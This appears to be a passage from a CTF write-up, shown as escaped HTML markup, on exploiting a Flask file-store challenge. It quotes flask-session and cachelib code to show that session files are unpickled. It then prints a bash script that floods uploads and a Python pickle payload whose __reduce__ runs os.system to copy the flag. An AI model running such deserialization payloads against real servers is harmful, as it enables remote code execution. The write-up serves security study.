 &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;open_session&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; app&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Flask&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; ServerSideSession&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Get the session ID from the cookie&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# SESSION_COOKIE_NAME = &quot;session&quot; by default&lt;/span&gt;
        sid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;SESSION_COOKIE_NAME&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;# Retrieve the session data from the database&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Returns Defaults.SESSION_KEY_PREFIX(&quot;session:&quot;) + sid&lt;/span&gt;
        store_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_get_store_id&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        saved_session_data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_retrieve_session_data&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;store_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token comment&quot;&gt;# https://github.com/pallets-eco/flask-session/blob/main/src/flask_session/filesystem/filesystem.py#L89&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; cachelib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; FileSystemCache
	&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
 self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cache &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; FileSystemCache&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            cache_dir&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;cache_dir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; threshold&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;threshold&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mode&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;mode
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;_retrieve_session_data&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; store_id&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Optional&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Get the saved session (item) from the database&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;store_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;




&lt;span class=&quot;token comment&quot;&gt;# https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/file.py#L203&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;_get_filename&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            bkey &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# XXX unicode review&lt;/span&gt;
            bkey_hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_hash_method&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bkey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hexdigest&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;token comment&quot;&gt;# hash_method is md5 by default&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bkey_hash&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# /flask_session/{md5hash of &quot;session:sid&quot;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; _t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Any&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        filename &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_get_filename&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# /flask_session/{md5hash of &quot;session:sid&quot;}&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Opens session file&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_safe_stream_open&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token comment&quot;&gt;# Reads the first 4 bytes as a timestamp&lt;/span&gt;
                pickle_time &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; struct&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;unpack&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;I&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; pickle_time &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; pickle_time &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; time&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;serializer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;load&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;token comment&quot;&gt;# serializer = cachelib.serializers.FileSystemSerializer()&lt;/span&gt;


&lt;span class=&quot;token comment&quot;&gt;# https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/serializers.py#L19C5-L34C24&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; _t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IO&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; protocol&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HIGHEST_PROTOCOL
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dump&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; protocol&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;token comment&quot;&gt;# FileSystemSerializer.dump() is just a pickle.dump (!)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; _t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;BinaryIO&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; _t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Any&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;load&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# FileSystemSerializer.load() is just a pickle.load (!)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;a-bit-too-much-time-wasting&quot;&gt;A bit too much time wasting&lt;/h5&gt;
&lt;p&gt;We then spend far too long modifying &lt;code&gt;session[&amp;quot;files&amp;quot;]&lt;/code&gt; before realizing modifying &lt;code&gt;session[&amp;quot;files&amp;quot;]&lt;/code&gt; to a long enough list results in a session file size (90-190M) over the file upload limit anyway... 🤷&lt;/p&gt;
&lt;p&gt;We could continue with the &amp;quot;Too many file upload &#39;manually&#39;&amp;quot;, but didn&#39;t go with this approach as we thought it could take longer than the 10 minute lifetime that the instance has.&lt;/p&gt;
&lt;p&gt;Let&#39;s try it now for fun 😛&lt;/p&gt;
&lt;h5 id=&quot;you-rolled-20-on-your-sanity-check-after-ctf-ended&quot;&gt;You rolled 20 🎲 on your sanity check - After CTF ended&lt;/h5&gt;
&lt;p&gt;So it turns out running this upload script of an empty file 100000+ times take well over the 10 minute mark and 100000 entries is still not enough to hang the app.&lt;/p&gt;
&lt;p&gt;I believe the success we saw when modifying the session[&amp;quot;files&amp;quot;] directly required around 1000000 entries.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;./upload_script.sh &#39;&lt;a href=&quot;http://localhost:5000/&quot;&gt;http://localhost:5000/&lt;/a&gt;&#39; &#39;your_session_cookie&#39; 100000&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Function to upload an empty file using curl with the provided format&lt;/span&gt;
&lt;span class=&quot;token function-name function&quot;&gt;upload_empty_file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Content-Type: multipart/form-data; boundary=---------------------------93988107812353882894080128531&#39;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Cookie: session=&lt;span class=&quot;token variable&quot;&gt;$2&lt;/span&gt;&quot;&lt;/span&gt; --data-binary &lt;span class=&quot;token string&quot;&gt;$&#39;-----------------------------93988107812353882894080128531&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;some_file&quot;&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;Content-Type: application/octet-stream&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;-----------------------------93988107812353882894080128531--&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Check for the correct number of arguments&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$#&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-ne&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Usage: &lt;span class=&quot;token variable&quot;&gt;$0&lt;/span&gt; &amp;lt;URL&gt; &amp;lt;Session Cookie&gt; &amp;lt;Number of times&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;exit&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Extract arguments&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;session_cookie&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$2&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;num_times&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$3&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Loop to upload the empty file &#39;num_times&#39; times&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;((&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt;$num_times&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploading empty file attempt &lt;span class=&quot;token variable&quot;&gt;$i&lt;/span&gt;...&quot;&lt;/span&gt;
    upload_empty_file &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$url&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$session_cookie&lt;/span&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt;

&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploads complete.&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;finally-the-intended-solution-which-got-us-the-actual-flag&quot;&gt;Finally the intended solution (Which got us the actual flag)&lt;/h4&gt;
&lt;p&gt;Wait we just spend x hours playing with the pickled session file... Aren&#39;t pickles dangerous? 🤔&lt;/p&gt;
&lt;p&gt;Pickling is a process of serializing Python objects into a byte stream, often used for data storage or transmission. However, unpickling untrusted data can lead to code execution vulnerabilities, commonly known as pickle deserialization attacks.&lt;/p&gt;
&lt;p&gt;See more: &lt;a href=&quot;https://blog.nelhage.com/2011/03/exploiting-pickle/&quot;&gt;https://blog.nelhage.com/2011/03/exploiting-pickle/&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tainted_pickle.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; struct
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; pickle
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; random

filename &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;md5 of session id&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;RCE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__reduce__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os
            cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;cat /flag.txt &gt; /app/static/uploads/flag.txt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;system&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmd&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            rce &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; RCE&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;seek&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Leave the first 4 bytes unmodified&lt;/span&gt;
            session_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rce
            pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dump&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session_value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Uploading this bad boy to &lt;code&gt;/flask_session/md5_of_session_id&lt;/code&gt; presents us the flag at &lt;code&gt;{instance_url}/app/static/uploads/flag.txt&lt;/code&gt; 🎊&lt;/p&gt;
&lt;h4 id=&quot;solution-as-a-single-script&quot;&gt;Solution as a single script?&lt;/h4&gt;
&lt;p&gt;The File Store challenge underscores the importance of thorough understanding of various web application vulnerabilities. By exploring different avenues (reading 3rd party sources) and exploiting vulnerabilities such as package namespace poisoning and pickle deserialization, we cracked this insecure flask web application wide open.&lt;/p&gt;
&lt;h5 id=&quot;solve-py&quot;&gt;solve.py&lt;/h5&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; hashlib
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; pickle

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;upload_file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filename&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_cookie&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
